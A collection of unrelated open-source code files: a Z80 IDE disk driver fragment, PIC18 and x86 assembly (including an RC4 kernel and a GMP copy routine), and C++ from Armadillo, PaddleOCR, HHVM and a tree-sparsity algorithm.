LD B,(HL) ; GET IDE ADDRESS VALUE
;LD C,PPIDE_IO_CTL ; SETUP PORT TO WRITE
;LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
DEC C ; SET IDE ADDRESS
OUT (C),B ; SET ADDRESS LINES
SET 5,B ; TURN ON WRITE BIT
OUT (C),B ; ASSERT WRITE LINE
;
DEC C
DEC C
;OUT (PPIDE_IO_DATALO),A ; SEND DATA VALUE TO DEVICE
OUT (C),A ; SEND DATA VALUE TO DEVICE
INC C
INC C
;
RES 5,B ; CLEAR WRITE BIT
OUT (C),B ; DEASSERT WRITE LINE
POP BC ; RECOVER INCOMING BC
INC HL ; POINT PAST PARM
EX (SP),HL ; RESTORE STACK
RET
;
;=============================================================================
; ERROR HANDLING AND DIAGNOSTICS
;=============================================================================
;
; ERROR HANDLERS
;
PPIDE_INVUNIT:
LD A,PPIDE_STINVUNIT
JR PPIDE_ERR2 ; SPECIAL CASE FOR INVALID UNIT
;
PPIDE_NOMEDIA:
LD A,PPIDE_STNOMEDIA
JR PPIDE_ERR
;
PPIDE_CMDERR:
LD A,PPIDE_STCMDERR
JR PPIDE_ERR
;
PPIDE_IOERR:
LD A,PPIDE_STIOERR
JR PPIDE_ERR
;
PPIDE_RDYTO:
LD A,PPIDE_STRDYTO
JR PPIDE_ERR
;
PPIDE_DRQTO:
LD A,PPIDE_STDRQTO
JR PPIDE_ERR
;
PPIDE_BSYTO:
LD A,PPIDE_STBSYTO
JR PPIDE_ERR
;
PPIDE_ERR:
LD (IY+PPIDE_STAT),A ; SAVE NEW STATUS
;
PPIDE_ERR2:
#IF (PPIDETRACE >= 2)
CALL PPIDE_PRTSTAT
CALL PPIDE_REGDUMP
#ENDIF
OR A ; SET FLAGS
RET
;
;
;
PPIDE_PRTERR:
RET Z ; DONE IF NO ERRORS
; FALL THRU TO PPIDE_PRTSTAT
;
; PRINT STATUS STRING (STATUS NUM IN A)
;
PPIDE_PRTSTAT:
PUSH AF
PUSH DE
PUSH HL
LD A,(IY+PPIDE_STAT)
OR A
LD DE,PPIDE_STR_STOK
JR Z,PPIDE_PRTSTAT1
INC A
LD DE,PPIDE_STR_STINVUNIT
JR Z,PPIDE_PRTSTAT2 ; INVALID UNIT IS SPECIAL CASE
INC A
LD DE,PPIDE_STR_STNOMEDIA
JR Z,PPIDE_PRTSTAT1
INC A
LD DE,PPIDE_STR_STCMDERR
JR Z,PPIDE_PRTSTAT1
INC A
LD DE,PPIDE_STR_STIOERR
JR Z,PPIDE_PRTSTAT1
INC A
LD DE,PPIDE_STR_STRDYTO
JR Z,PPIDE_PRTSTAT1
INC A
LD DE,PPIDE_STR_STDRQTO
JR Z,PPIDE_PRTSTAT1
INC A
LD DE,PPIDE_STR_STBSYTO
JR Z,PPIDE_PRTSTAT1
LD DE,PPIDE_STR_STUNK
PPIDE_PRTSTAT1:
CALL PPIDE_PRTPREFIX ; PRINT UNIT PREFIX
JR PPIDE_PRTSTAT3
PPIDE_PRTSTAT2:
CALL NEWLINE
PRTS("PPIDE:$") ; NO UNIT NUM IN PREFIX FOR INVALID UNIT
PPIDE_PRTSTAT3:
CALL PC_SPACE ; FORMATTING
CALL WRITESTR
POP HL
POP DE
POP AF
RET
;
; PRINT ALL REGISTERS DIRECTLY FROM DEVICE
; DEVICE MUST BE SELECTED PRIOR TO CALL
;
PPIDE_REGDUMP:
PUSH AF
PUSH BC
push DE
CALL PC_SPACE
CALL PC_LBKT
LD A,PPIDE_DIR_READ ; SET DATA BUS DIRECTION TO READ
;OUT (PPIDE_IO_PPI),A ; DO IT
LD C,(IY+PPIDE_PPI) ; PPI CONTROL WORD
OUT (C),A ; WRITE IT
LD C,(IY+PPIDE_CTL) ; SET IDE ADDRESS
LD E,PPIDE_REG_CMD
LD B,7
PPIDE_REGDUMP1:
LD A,E ; REGISTER ADDRESS
;OUT (PPIDE_IO_CTL),A ; SET IT
OUT (C),A ; REGISTER ADDRESS
XOR PPIDE_CTL_DIOR ; SET BIT TO ASSERT READ LINE
;OUT (PPIDE_IO_CTL),A ; ASSERT READ
OUT (C),A ; ASSERT READ
;IN A,(PPIDE_IO_DATALO) ; GET VALUE
DEC C ; CTL -> MSB
DEC C ; MSB -> LSB
IN A,(C) ; GET VALUE
INC C ; LSB -> MSB
INC C ; MSB -> CTL
CALL PRTHEXBYTE ; DISPLAY IT
;LD A,C ; RELOAD ADDRESS W/ READ UNASSERTED
;OUT (PPIDE_IO_CTL),A ; AND SET IT
OUT (C),E ; RELOAD ADDRESS W/ READ UNASSERTED
;DEC C ; NEXT LOWER REGISTER
DEC E ; NEXT LOWER REGISTER
DEC B ; DEC LOOP COUNTER
CALL NZ,PC_SPACE ; FORMATTING
JR NZ,PPIDE_REGDUMP1 ; LOOP AS NEEDED
CALL PC_RBKT ; FORMATTING
POP DE
POP BC
POP AF
RET
;
; PRINT DIAGNONSTIC PREFIX
;
PPIDE_PRTPREFIX:
PUSH AF
CALL NEWLINE
PRTS("PPIDE$")
LD A,(IY+PPIDE_DEV) ; GET CURRENT DEVICE NUM
ADD A,'0'
CALL COUT
CALL PC_COLON
POP AF
RET
;
;
;
#IF (DSKYENABLE)
PPIDE_DSKY:
LD HL,DSKY_HEXBUF ; POINT TO DSKY BUFFER
CALL PPIDE_IN
.DB PPIDE_REG_DRVHD
LD (HL),A ; SAVE IN BUFFER
INC HL ; INCREMENT BUFFER POINTER
CALL PPIDE_IN
.DB PPIDE_REG_CYLHI
LD (HL),A ; SAVE IN BUFFER
INC HL ; INCREMENT BUFFER POINTER
CALL PPIDE_IN
.DB PPIDE_REG_CYLLO
LD (HL),A ; SAVE IN BUFFER
INC HL ; INCREMENT BUFFER POINTER
CALL PPIDE_IN
.DB PPIDE_REG_SECT
LD (HL),A ; SAVE IN BUFFER
CALL DSKY_HEXOUT ; SEND IT TO DSKY
RET
#ENDIF
;
;=============================================================================
; STRING DATA
;=============================================================================
;
PPIDE_STR_STOK .TEXT "OK$"
PPIDE_STR_STINVUNIT .TEXT "INVALID UNIT$"
PPIDE_STR_STNOMEDIA .TEXT "NO MEDIA$"
PPIDE_STR_STCMDERR .TEXT "COMMAND ERROR$"
PPIDE_STR_STIOERR .TEXT "IO ERROR$"
PPIDE_STR_STRDYTO .TEXT "READY TIMEOUT$"
PPIDE_STR_STDRQTO .TEXT "DRQ TIMEOUT$"
PPIDE_STR_STBSYTO .TEXT "BUSY TIMEOUT$"
PPIDE_STR_STUNK .TEXT "UNKNOWN ERROR$"
;
PPIDE_STR_NO .TEXT "NO$"
PPIDE_STR_NOPPI .TEXT "PPI NOT PRESENT$"
PPIDE_STR_8BIT .TEXT " 8-BIT$"
;
;=============================================================================
; DATA STORAGE
;=============================================================================
;
PPIDE_TIMEOUT .DB PPIDE_TONORM ; WAIT FUNCS TIMEOUT IN TENTHS OF SEC
PPIDE_TOSCALER .DW CPUMHZ * 218 ; WAIT FUNCS SCALER FOR CPU SPEED
;
PPIDE_CMD .DB 0 ; PENDING COMMAND TO PROCESS
PPIDE_IOFNADR .DW 0 ; PENDING IO FUNCTION ADDRESS
PPIDE_DRVHD .DB 0 ; CURRENT DRIVE/HEAD MASK
;
PPIDE_DSKBUF .DW 0 ; ACTIVE DISK BUFFER
;
PPIDE_DEVNUM .DB 0 ; TEMP DEVICE NUM USED DURING INIT
|
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas
;
; See "nirvana+.h" for further details
; ----------------------------------------------------------------
; void NIRVANA_readC(unsigned char *attrs, unsigned int lin, unsigned int col)
; callee
SECTION code_clib
SECTION code_nirvanam
PUBLIC NIRVANAM_readC_callee
EXTERN asm_NIRVANAM_readC
NIRVANAM_readC_callee:
pop hl ; RET address
pop de ; col
pop bc
ld d,c ; lin
pop bc ; attrs
push hl
jp asm_NIRVANAM_readC
|
;*******************************************************************************
;
; PIC18F13K22
; ----------
; Vdd |1 20| Vss
; RA5 |2 19| RA0/PGD(ICSPDAT)
; RA4 |3 18| RA1/PGC(ICSPCLK)
; MCLR/RA3 |4 17| RA2
; RC5 |5 16| RC0
; RC4 |6 15| RC1
; PGM/RC3 |7 14| RC2
; RC6 |8 13| RB4
; RC7 |9 12| RB5
; RB7 |10 11| RB6
; ----------
;
;*******************************************************************************
; PIC18F13K22 Configuration Bit Settings
; Assembly source line config statements
#include "p18f13k22.inc"
; CONFIG1H
CONFIG FOSC = IRC ; Oscillator Selection bits (Internal RC oscillator)
CONFIG PLLEN = ON ; 4 X PLL Enable bit (Oscillator multiplied by 4)
CONFIG PCLKEN = ON ; Primary Clock Enable bit (Primary clock enabled)
CONFIG FCMEN = OFF ; Fail-Safe Clock Monitor Enable (Fail-Safe Clock Monitor disabled)
CONFIG IESO = OFF ; Internal/External Oscillator Switchover bit (Oscillator Switchover mode disabled)
; CONFIG2L
CONFIG PWRTEN = OFF ; Power-up Timer Enable bit (PWRT disabled)
CONFIG BOREN = SBORDIS ; Brown-out Reset Enable bits (Brown-out Reset enabled in hardware only (SBOREN is disabled))
CONFIG BORV = 19 ; Brown Out Reset Voltage bits (VBOR set to 1.9 V nominal)
; CONFIG2H
CONFIG WDTEN = OFF ; Watchdog Timer Enable bit (WDT is controlled by SWDTEN bit of the WDTCON register)
CONFIG WDTPS = 32768 ; Watchdog Timer Postscale Select bits (1:32768)
; CONFIG3H
CONFIG HFOFST = ON ; HFINTOSC Fast Start-up bit (HFINTOSC starts clocking the CPU without waiting for the oscillator to stablize.)
CONFIG MCLRE = ON ; MCLR Pin Enable bit (MCLR pin enabled, RA3 input pin disabled)
; CONFIG4L
CONFIG STVREN = ON ; Stack Full/Underflow Reset Enable bit (Stack full/underflow will cause Reset)
CONFIG LVP = ON ; Single-Supply ICSP Enable bit (Single-Supply ICSP enabled)
CONFIG BBSIZ = OFF ; Boot Block Size Select bit (512W boot block size)
CONFIG XINST = OFF ; Extended Instruction Set Enable bit (Instruction set extension and Indexed Addressing mode disabled (Legacy mode))
; CONFIG5L
CONFIG CP0 = OFF ; Code Protection bit (Block 0 not code-protected)
CONFIG CP1 = OFF ; Code Protection bit (Block 1 not code-protected)
; CONFIG5H
CONFIG CPB = OFF ; Boot Block Code Protection bit (Boot block not code-protected)
CONFIG CPD = OFF ; Data EEPROM Code Protection bit (Data EEPROM not code-protected)
; CONFIG6L
CONFIG WRT0 = OFF ; Write Protection bit (Block 0 not write-protected)
CONFIG WRT1 = OFF ; Write Protection bit (Block 1 not write-protected)
; CONFIG6H
CONFIG WRTC = OFF ; Configuration Register Write Protection bit (Configuration registers not write-protected)
CONFIG WRTB = OFF ; Boot Block Write Protection bit (Boot block not write-protected)
CONFIG WRTD = OFF ; Data EEPROM Write Protection bit (Data EEPROM not write-protected)
; CONFIG7L
CONFIG EBTR0 = OFF ; Table Read Protection bit (Block 0 not protected from table reads executed in other blocks)
CONFIG EBTR1 = OFF ; Table Read Protection bit (Block 1 not protected from table reads executed in other blocks)
; CONFIG7H
CONFIG EBTRB = OFF ; Boot Block Table Read Protection bit (Boot block not protected from table reads executed in other blocks)
;*******************************************************************************
; Reset Vector
;*******************************************************************************
RES_VECT CODE 0x0000 ; processor reset vector
goto SETUP ; go to beginning of program
;*******************************************************************************
; Interrupt Vector
;*******************************************************************************
ISR CODE 0x0008 ; interrupt vector location
; Load WREG with 256
; for use with xor
movlw 0xFF
; Flip PORTA bits
BANKSEL LATA
xorwf LATA, F
; Flip PORTB bits
BANKSEL LATB
xorwf LATB, F
; Flip PORTC bits
BANKSEL LATC
xorwf LATC, F
; Clear interrupt flag
BANKSEL INTCON
bcf INTCON, TMR0IF
retfie
;*******************************************************************************
; MAIN PROGRAM
;*******************************************************************************
MAIN_PROG CODE ; let linker place main program
SETUP
; Set clock-source to internal 500 KHz
BANKSEL OSCCON
; We want to select the following:
; SCS bits <1:0> as '00' (use INTOSC from config)
; IRCF bits <6:4> as '010' (use 500 KHz internal clock)
movlw b'00100000'
movwf OSCCON
; Set PORTA as output
BANKSEL TRISA
clrf TRISA
BANKSEL PORTA
clrf PORTA
; Set PORTB as output
BANKSEL TRISB
clrf TRISB
BANKSEL PORTB
clrf PORTB
; Set PORTC as output
BANKSEL TRISC
clrf TRISC
BANKSEL PORTC
clrf PORTC
BANKSEL T0CON
; Select timer0 as 8-bit
bsf T0CON, T08BIT
; Select internal clock
bcf T0CON, T0CS
; Assign prescaler to Timer0
bcf T0CON, PSA
; Select prescaler x256
bsf T0CON, T0PS2
bsf T0CON, T0PS1
bsf T0CON, T0PS0
; Clear Timer0 for safety
BANKSEL TMR0
clrf TMR0
; Enable Timer0
BANKSEL T0CON
bsf T0CON, TMR0ON
BANKSEL INTCON
; Clear Timer0 interrupt flag
bcf INTCON, TMR0IF
; Enable Timer0 interrupt
bsf INTCON, TMR0IE
; Enable global interrupt
bsf INTCON, GIE
START
; Repeat forever
goto START
END
|
;===============================================================================
; Copyright 2014-2021 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; ARCFour
;
; Content:
; ARCFourKernel()
;
;
%include "asmdefs.inc"
%include "ia_emm.inc"
%if (_IPP >= _IPP_V8)
segment .text align=IPP_ALIGN_FACTOR
;***************************************************************
;* Purpose: RC4 kernel
;*
;* void ARCFourProcessData(const Ipp8u *pSrc, Ipp8u *pDst, int len,
;* IppsARCFourState* pCtx)
;*
;***************************************************************
;;
;; Lib = V8
;;
;; Caller = ippsARCFourEncrypt
;; Caller = ippsARCFourDecrypt
;;
align IPP_ALIGN_FACTOR
IPPASM ARCFourProcessData,PUBLIC
USES_GPR esi,edi,ebx,ebp
%xdefine pSrc [esp + ARG_1 + 0*sizeof(dword)]
%xdefine pDst [esp + ARG_1 + 1*sizeof(dword)]
%xdefine len [esp + ARG_1 + 2*sizeof(dword)]
%xdefine pCtx [esp + ARG_1 + 3*sizeof(dword)]
mov edx, len ; data length
mov esi, pSrc ; source data
mov edi, pDst ; target data
mov ebp, pCtx ; context
test edx, edx ; test length
jz .quit
mov eax, dword [ebp+4] ; extract x
mov ebx, dword [ebp+8] ; extract y
lea ebp, [ebp+12] ; sbox
add eax,1 ; x = (x+1)&0xFF
and eax, 0FFh
mov ecx, dword [ebp+eax*4] ; tx = S[x]
lea edx, [esi+edx] ; store stop data address
push edx
;;
;; main code
;;
align IPP_ALIGN_FACTOR
.main_loop:
add ebx, ecx ; y = (x+tx)&0xFF
movzx ebx, bl
mov edx, dword [ebp+ebx*4] ; ty = S[y]
mov dword [ebp+ebx*4],ecx ; S[y] = tx
add ecx, edx ; tmp_idx = (tx+ty)&0xFF
movzx ecx, cl
mov dword [ebp+eax*4],edx ; S[x] = ty
add eax, 1 ; next x = (x+1)&0xFF
mov dl, byte [ebp+ecx*4] ; byte of gamma
movzx eax, al
xor dl,byte [esi] ; gamma ^= src
add esi, 1
mov ecx, dword [ebp+eax*4] ; next tx = S[x]
mov byte [edi],dl ; store result
add edi, 1
cmp esi, dword [esp]
jb .main_loop
lea ebp, [ebp-12] ; pointer to context
pop edx ; remove local variable
dec eax ; actual new x counter
and eax, 0FFh
mov dword [ebp+4], eax ; update x conter
mov dword [ebp+8], ebx ; updtae y counter
.quit:
REST_GPR
ret
ENDFUNC ARCFourProcessData
%endif
|
#include "treeexact_fulltable_wvtree.h"
#include <algorithm>
#include <map>
#include <queue>
#include <vector>
using std::make_pair;
using std::min;
using std::pair;
using std::queue;
using std::vector;
namespace treeapprox {
bool treeexact_fulltable_wvtree(const std::vector<double>& x,
size_t d,
size_t k,
std::vector<bool>* support) {
if (k > x.size()) {
return false;
}
if (x.size() < d) {
return false;
}
std::vector<bool>& supp = *support;
supp.resize(x.size());
std::fill(supp.begin(), supp.end(), false);
size_t last_parent = (x.size() - 1) / d;
vector<vector<double> > table(x.size());
vector<vector<vector<size_t> > > num_allocated(x.size());
for (size_t ii = last_parent + 1; ii < x.size(); ++ii) {
table[ii].resize(2);
table[ii][0] = 0.0;
table[ii][1] = x[ii];
}
// bottom-up pass: compute best sum for each (node, tree size)
for (size_t ii = last_parent; ; --ii) {
size_t to_alloc = 1;
size_t num_children = d;
size_t child_index = ii * d;
if (ii == 0) {
num_children = d - 1;
child_index = 1;
}
if (ii == last_parent) {
num_children = (x.size() - 1) - child_index + 1;
}
for (size_t jj = 0; jj < num_children; ++jj) {
to_alloc += (table[child_index].size() - 1);
child_index += 1;
}
to_alloc = min(to_alloc, k);
table[ii].resize(to_alloc + 1, 0.0);
num_allocated[ii].resize(to_alloc + 1);
for (size_t jj = 0; jj < num_allocated[ii].size(); ++jj) {
num_allocated[ii][jj].resize(num_children);
}
size_t max_num = 0;
size_t prev_maxnum = 0;
child_index = ii * d;
if (ii == 0) {
child_index = 1;
}
for (size_t jj = 0; jj < num_children; ++jj) {
prev_maxnum = max_num;
max_num = min(k - 1, max_num + table[child_index].size() - 1);
for (size_t cur_num = max_num; ; --cur_num) {
for (size_t in_child = min(table[child_index].size() - 1, cur_num); ;
--in_child) {
if (table[ii][cur_num] < table[ii][cur_num - in_child]
+ table[child_index][in_child]) {
table[ii][cur_num] = table[ii][cur_num - in_child]
+ table[child_index][in_child];
num_allocated[ii][cur_num][jj] = in_child;
//printf("new best entry for (%lu, %lu): allocating %lu to %lu "
// "value: %lf\n", ii, cur_num, in_child, child_index,
// table[ii][cur_num]);
}
if (in_child == 0) {
break;
}
if (cur_num - in_child >= prev_maxnum) {
break;
}
}
if (cur_num <= 1) {
break;
}
}
child_index += 1;
}
for (size_t jj = table[ii].size() - 1; jj >= 1; --jj) {
table[ii][jj] = table[ii][jj - 1] + x[ii];
}
if (ii == 0) {
break;
}
}
/*for (size_t ii = 0; ii < x.size(); ++ii) {
printf("ii = %lu\n", ii);
for (size_t jj = 0; jj < table[ii].size(); ++jj) {
printf(" k = %lu: %lf\n", jj, table[ii][jj]);
}
printf("\n");
}*/
// top-down pass: identify support (BFS)
queue<pair<size_t, size_t> > q;
if (table[0][k] > 0.0) {
q.push(make_pair(0, k));
}
while (!q.empty()) {
size_t cur_node = q.front().first;
size_t cur_k = q.front().second;
q.pop();
//printf("Allocating %lu to node %lu.\n", cur_k, cur_node);
supp[cur_node] = true;
cur_k -= 1;
if (cur_node > last_parent) {
continue;
}
size_t child_index = cur_node * d + d - 1;
size_t num_children = d;
if (child_index >= x.size()) {
child_index = x.size() - 1;
num_children = child_index - cur_node * d + 1;
}
if (cur_node == 0) {
num_children = d - 1;
}
for (size_t jj = num_children - 1; ; --jj) {
size_t allocated = num_allocated[cur_node][cur_k][jj];
if (allocated > 0) {
q.push(make_pair(child_index, allocated));
cur_k -= allocated;
}
if (jj == 0) {
break;
}
child_index -= 1;
}
}
return true;
}
}; // namespace treeapprox
|
// SPDX-License-Identifier: Apache-2.0
//
// Copyright 2008-2016 Conrad Sanderson (http://conradsanderson.id.au)
// Copyright 2008-2016 National ICT Australia (NICTA)
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ------------------------------------------------------------------------
//! \addtogroup op_any
//! @{
class op_any
: public traits_op_xvec
{
public:
template<typename T1>
static inline bool
any_vec_helper(const Base<typename T1::elem_type, T1>& X);
template<typename eT>
static inline bool
any_vec_helper(const subview<eT>& X);
template<typename T1>
static inline bool
any_vec_helper(const Op<T1, op_vectorise_col>& X);
template<typename T1, typename op_type>
static inline bool
any_vec_helper
(
const mtOp<uword, T1, op_type>& X,
const typename arma_op_rel_only<op_type>::result* junk1 = nullptr,
const typename arma_not_cx<typename T1::elem_type>::result* junk2 = nullptr
);
template<typename T1, typename T2, typename glue_type>
static inline bool
any_vec_helper
(
const mtGlue<uword, T1, T2, glue_type>& X,
const typename arma_glue_rel_only<glue_type>::result* junk1 = nullptr,
const typename arma_not_cx<typename T1::elem_type>::result* junk2 = nullptr,
const typename arma_not_cx<typename T2::elem_type>::result* junk3 = nullptr
);
template<typename T1>
static inline bool any_vec(T1& X);
template<typename T1>
static inline void apply_helper(Mat<uword>& out, const Proxy<T1>& P, const uword dim);
template<typename T1>
static inline void apply(Mat<uword>& out, const mtOp<uword, T1, op_any>& X);
};
//! @}
|
// Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "opencv2/core.hpp"
#include "opencv2/imgcodecs.hpp"
#include "opencv2/imgproc.hpp"
#include "paddle_api.h"
#include "paddle_inference_api.h"
#include <chrono>
#include <iomanip>
#include <iostream>
#include <ostream>
#include <vector>
#include <cstring>
#include <fstream>
#include <numeric>
#include <include/preprocess_op.h>
namespace PaddleOCR {
void Permute::Run(const cv::Mat *im, float *data) {
int rh = im->rows;
int rw = im->cols;
int rc = im->channels();
for (int i = 0; i < rc; ++i) {
cv::extractChannel(*im, cv::Mat(rh, rw, CV_32FC1, data + i * rh * rw), i);
}
}
void PermuteBatch::Run(const std::vector<cv::Mat> imgs, float *data) {
for (int j = 0; j < imgs.size(); j++) {
int rh = imgs[j].rows;
int rw = imgs[j].cols;
int rc = imgs[j].channels();
for (int i = 0; i < rc; ++i) {
cv::extractChannel(
imgs[j], cv::Mat(rh, rw, CV_32FC1, data + (j * rc + i) * rh * rw), i);
}
}
}
void Normalize::Run(cv::Mat *im, const std::vector<float> &mean,
const std::vector<float> &scale, const bool is_scale) {
double e = 1.0;
if (is_scale) {
e /= 255.0;
}
(*im).convertTo(*im, CV_32FC3, e);
std::vector<cv::Mat> bgr_channels(3);
cv::split(*im, bgr_channels);
for (auto i = 0; i < bgr_channels.size(); i++) {
bgr_channels[i].convertTo(bgr_channels[i], CV_32FC1, 1.0 * scale[i],
(0.0 - mean[i]) * scale[i]);
}
cv::merge(bgr_channels, *im);
}
void ResizeImgType0::Run(const cv::Mat &img, cv::Mat &resize_img,
int max_size_len, float &ratio_h, float &ratio_w,
bool use_tensorrt) {
int w = img.cols;
int h = img.rows;
float ratio = 1.f;
int max_wh = w >= h ? w : h;
if (max_wh > max_size_len) {
if (h > w) {
ratio = float(max_size_len) / float(h);
} else {
ratio = float(max_size_len) / float(w);
}
}
int resize_h = int(float(h) * ratio);
int resize_w = int(float(w) * ratio);
resize_h = max(int(round(float(resize_h) / 32) * 32), 32);
resize_w = max(int(round(float(resize_w) / 32) * 32), 32);
cv::resize(img, resize_img, cv::Size(resize_w, resize_h));
ratio_h = float(resize_h) / float(h);
ratio_w = float(resize_w) / float(w);
}
void CrnnResizeImg::Run(const cv::Mat &img, cv::Mat &resize_img, float wh_ratio,
bool use_tensorrt,
const std::vector<int> &rec_image_shape) {
int imgC, imgH, imgW;
imgC = rec_image_shape[0];
imgH = rec_image_shape[1];
imgW = rec_image_shape[2];
imgW = int(imgH * wh_ratio);
float ratio = float(img.cols) / float(img.rows);
int resize_w, resize_h;
if (ceilf(imgH * ratio) > imgW)
resize_w = imgW;
else
resize_w = int(ceilf(imgH * ratio));
cv::resize(img, resize_img, cv::Size(resize_w, imgH), 0.f, 0.f,
cv::INTER_LINEAR);
cv::copyMakeBorder(resize_img, resize_img, 0, 0, 0,
int(imgW - resize_img.cols), cv::BORDER_CONSTANT,
{127, 127, 127});
}
void ClsResizeImg::Run(const cv::Mat &img, cv::Mat &resize_img,
bool use_tensorrt,
const std::vector<int> &rec_image_shape) {
int imgC, imgH, imgW;
imgC = rec_image_shape[0];
imgH = rec_image_shape[1];
imgW = rec_image_shape[2];
float ratio = float(img.cols) / float(img.rows);
int resize_w, resize_h;
if (ceilf(imgH * ratio) > imgW)
resize_w = imgW;
else
resize_w = int(ceilf(imgH * ratio));
cv::resize(img, resize_img, cv::Size(resize_w, imgH), 0.f, 0.f,
cv::INTER_LINEAR);
if (resize_w < imgW) {
cv::copyMakeBorder(resize_img, resize_img, 0, 0, 0, imgW - resize_w,
cv::BORDER_CONSTANT, cv::Scalar(0, 0, 0));
}
}
} // namespace PaddleOCR
|
dnl AMD K7 mpn_copyd -- copy limb vector, decrementing.
dnl
dnl alignment dst/src, A=0mod8 N=4mod8
dnl A/A A/N N/A N/N
dnl K7 0.75 1.0 1.0 0.75
dnl Copyright (C) 1999, 2000 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 59 Temple Place -
dnl Suite 330, Boston, MA 02111-1307, USA.
include(`../config.m4')
C void mpn_copyd (mp_ptr dst, mp_srcptr src, mp_size_t size);
C
C The various comments in mpn/x86/k7/copyi.asm apply here too.
defframe(PARAM_SIZE,12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
deflit(`FRAME',0)
dnl parameter space reused
define(SAVE_EBX,`PARAM_SIZE')
define(SAVE_ESI,`PARAM_SRC')
dnl minimum 5 since the unrolled code can't handle less than 5
deflit(UNROLL_THRESHOLD, 5)
.text
ALIGN(32)
PROLOGUE(mpn_copyd)
movl PARAM_SIZE, %ecx
movl %ebx, SAVE_EBX
movl PARAM_SRC, %eax
movl PARAM_DST, %edx
cmpl $UNROLL_THRESHOLD, %ecx
jae L(unroll)
orl %ecx, %ecx
jz L(simple_done)
L(simple):
C eax src
C ebx scratch
C ecx counter
C edx dst
C
C this loop is 2 cycles/limb
movl -4(%eax,%ecx,4), %ebx
movl %ebx, -4(%edx,%ecx,4)
decl %ecx
jnz L(simple)
L(simple_done):
movl SAVE_EBX, %ebx
ret
L(unroll):
movl %esi, SAVE_ESI
leal (%eax,%ecx,4), %ebx
leal (%edx,%ecx,4), %esi
andl %esi, %ebx
movl SAVE_ESI, %esi
subl $4, %ecx C size-4
testl $4, %ebx C testl to pad code closer to 16 bytes for L(top)
jz L(aligned)
C both src and dst unaligned, process one limb to align them
movl 12(%eax,%ecx,4), %ebx
movl %ebx, 12(%edx,%ecx,4)
decl %ecx
L(aligned):
ALIGN(16)
L(top):
C eax src
C ebx
C ecx counter, limbs
C edx dst
movq 8(%eax,%ecx,4), %mm0
movq (%eax,%ecx,4), %mm1
subl $4, %ecx
movq %mm0, 16+8(%edx,%ecx,4)
movq %mm1, 16(%edx,%ecx,4)
jns L(top)
C now %ecx is -4 to -1 representing respectively 0 to 3 limbs remaining
testb $2, %cl
jz L(finish_not_two)
movq 8(%eax,%ecx,4), %mm0
movq %mm0, 8(%edx,%ecx,4)
L(finish_not_two):
testb $1, %cl
jz L(done)
movl (%eax), %ebx
movl %ebx, (%edx)
L(done):
movl SAVE_EBX, %ebx
emms
ret
EPILOGUE()
|
/*
+----------------------------------------------------------------------+
| HipHop for PHP |
+----------------------------------------------------------------------+
| Copyright (c) 2010-2014 Facebook, Inc. (http://www.facebook.com) |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
*/
#include "hphp/runtime/vm/jit/llvm-locrecs.h"
#include "hphp/util/assertions.h"
#include <folly/Format.h>
namespace HPHP { namespace jit {
namespace {
/*
* Read a T from ptr into out, advancing ptr past the read item.
*/
template<typename T>
void readValue(const uint8_t*& ptr, T& out) {
memcpy(&out, ptr, sizeof(T));
ptr += sizeof(T);
}
/*
* Advance ptr past T making sure the stored value was 0.
*/
template<typename T>
void skipValue(const uint8_t*& ptr, T& out) {
memcpy(&out, ptr, sizeof(T));
always_assert(out == 0 && "non-zero reserved field");
ptr += sizeof(T);
}
}
LocRecs parseLocRecs(const uint8_t* ptr, size_t size) {
LocRecs recs;
uint8_t reserved8;
uint16_t reserved16;
always_assert(size >= 8);
auto const end = ptr + size;
readValue(ptr, recs.versionMajor);
readValue(ptr, recs.versionMinor);
always_assert(recs.versionMajor == 1 && "invalid version of locrecs");
skipValue(ptr, reserved16);
uint32_t numRecords;
readValue(ptr, numRecords);
always_assert(ptr + numRecords * 16 <= end && "locrecs out of bounds");
for (uint32_t j = 0; j < numRecords; ++j) {
LocRecs::LocationRecord record;
readValue(ptr, record.address);
readValue(ptr, record.id);
readValue(ptr, record.size);
skipValue(ptr, reserved8);
skipValue(ptr, reserved16);
recs.records[record.id].emplace_back(std::move(record));
}
return recs;
}
